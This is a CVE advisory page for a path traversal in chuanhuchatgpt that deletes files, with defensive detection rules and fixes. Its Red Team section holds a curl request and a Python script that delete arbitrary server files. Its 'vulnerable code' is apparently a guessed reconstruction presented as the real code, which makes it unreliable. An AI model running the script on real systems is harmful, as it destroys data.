CVE-2024-6255
Executive Summary
CVE-2024-6255 is a critical path traversal vulnerability in the JSON file handling of gaizhenbiao/chuanhuchatgpt version 20240410. The flaw allows any unauthenticated attacker to delete arbitrary JSON files on the server, including critical configuration files such as config.json and ds_config_chatbot.json. This is due to improper validation of file paths, enabling directory traversal attacks. The vulnerability has a CVSS score of 8.2 (High) and can lead to denial of service, configuration manipulation, and potential data loss. No patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a Python-based application (chuanhuchatgpt). The package is distributed via GitHub and potentially PyPI. Users should verify the integrity of their installation and monitor for any unauthorized file deletions. Since the package is open-source, supply chain risks include malicious forks or compromised dependencies.
CVSS Breakdown & Threat Level
- CVSS Score: 8.2 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: High
- Availability Impact: High
The vulnerability is easily exploitable remotely without authentication, making it a high-priority threat for any deployment of this software.
Deep Dive & Mechanics
The vulnerability resides in the JSON file handling endpoint of chuanhuchatgpt. The application fails to sanitize user-supplied file paths, allowing an attacker to use ../ sequences to traverse directories. By sending a crafted request to delete a JSON file, an attacker can target any file on the filesystem that the application has write access to. This includes configuration files, user data, and potentially system files if the application runs with elevated privileges.
The core issue is a lack of path validation. The application likely uses a function like os.remove() or Path.unlink() without checking if the resolved path is within an allowed directory. An attacker can exploit this by sending a request such as:
POST /delete_json_file
Content-Type: application/json
{"file_path": "../../config.json"}
This would delete the config.json file located two directories above the application's working directory.
Vulnerable vs. Patched Code
Vulnerable Code (20240410):
import os
from flask import Flask, request
app = Flask(__name__)
@app.route('/delete_json_file', methods=['POST'])
def delete_json_file():
data = request.get_json()
file_path = data.get('file_path')
# No validation of file_path
os.remove(file_path)
return "File deleted", 200
Patched Code (Hypothetical):
import os
from flask import Flask, request
from pathlib import Path
app = Flask(__name__)
ALLOWED_DIR = Path('/app/data/json_files')
@app.route('/delete_json_file', methods=['POST'])
def delete_json_file():
data = request.get_json()
file_path = data.get('file_path')
# Resolve the path and ensure it is within the allowed directory
resolved_path = (ALLOWED_DIR / file_path).resolve()
if not str(resolved_path).startswith(str(ALLOWED_DIR.resolve())):
return "Invalid path", 400
if not resolved_path.exists():
return "File not found", 404
os.remove(str(resolved_path))
return "File deleted", 200
The patched version uses Path.resolve() to canonicalize the path and checks that it starts with the allowed directory, preventing directory traversal.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a vulnerable instance of
chuanhuchatgptversion 20240410 using Docker or a local Python environment. - Ensure the application is accessible on a network port (e.g., 5000).
Exploitation Steps:
- Identify the endpoint that handles JSON file deletion (e.g.,
/delete_json_file). - Craft a POST request with a malicious
file_pathparameter:curl -X POST http://target:5000/delete_json_file \ -H "Content-Type: application/json" \ -d '{"file_path": "../../config.json"}' - Verify the deletion by checking if the target file is removed.
- For maximum impact, delete
ds_config_chatbot.jsonto disrupt chatbot functionality.
Automated Exploit Script:
import requests
import sys
def exploit(target, file_to_delete):
url = f"http://{target}/delete_json_file"
payload = {"file_path": f"../../{file_to_delete}"}
response = requests.post(url, json=payload)
if response.status_code == 200:
print(f"[+] Successfully deleted {file_to_delete}")
else:
print(f"[-] Failed to delete {file_to_delete}")
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python exploit.py <target_ip:port> <file_to_delete>")
sys.exit(1)
exploit(sys.argv[1], sys.argv[2])
Blue Team
Detection & Response:
- Monitor for POST requests to
/delete_json_filewith suspiciousfile_pathparameters containing../or absolute paths. - Implement file integrity monitoring (FIM) for critical JSON files like
config.jsonandds_config_chatbot.json. - Use web application firewall (WAF) rules to block path traversal patterns.
- Restrict the application's filesystem permissions to only necessary directories.
Honeypot Strategy:
- Deploy a fake
config.jsonfile in a monitored directory to detect traversal attempts. - Log all file deletion requests and alert on anomalies.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/delete_json_filewithfile_pathcontaining../or absolute paths. - Unusual outbound connections from the application server.
- POST requests to
- File System IOCs:
- Unexpected deletion of
config.json,ds_config_chatbot.json, or other JSON files. - Presence of files in unexpected directories (e.g.,
/tmp/).
- Unexpected deletion of
- Log IOCs:
- Application logs showing
File deletedresponses for paths outside the allowed directory. - Web server logs with 200 responses to
/delete_json_filewith suspicious parameters.
- Application logs showing
Detection Engineering
YARA Rule
rule CVE_2024_6255_Path_Traversal {
meta:
description = "Detects path traversal attempts in chuanhuchatgpt JSON file deletion"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-6255"
strings:
$traversal1 = "../"
$traversal2 = "..\\"
$traversal3 = "/etc/"
$traversal4 = "C:\\"
$json_ext = ".json"
condition:
any of ($traversal*) and $json_ext
}
Sigma Rule
title: CVE-2024-6255 Path Traversal in chuanhuchatgpt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts targeting JSON file deletion in chuanhuchatgpt
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/delete_json_file'
cs-uri-query|contains: '../'
condition: selection
falsepositives:
- Legitimate use of relative paths (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-6255 Path Traversal in chuanhuchatgpt"; flow:to_server,established; content:"POST"; http_method; content:"/delete_json_file"; http_uri; content:"../"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the application: If possible, take the vulnerable instance offline or restrict network access.
- Apply virtual patching: Use a WAF to block requests containing
../in thefile_pathparameter. - Restrict filesystem permissions: Run the application with a dedicated user that has write access only to necessary directories.
Long-term Fix:
- Patch the code: Implement proper path validation as shown in the patched code example.
- Update dependencies: Ensure all libraries are up-to-date.
- Monitor for updates: Watch the official GitHub repository for a security patch.
Workaround:
- Disable the JSON file deletion endpoint if not required.
- Implement an allowlist of files that can be deleted.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.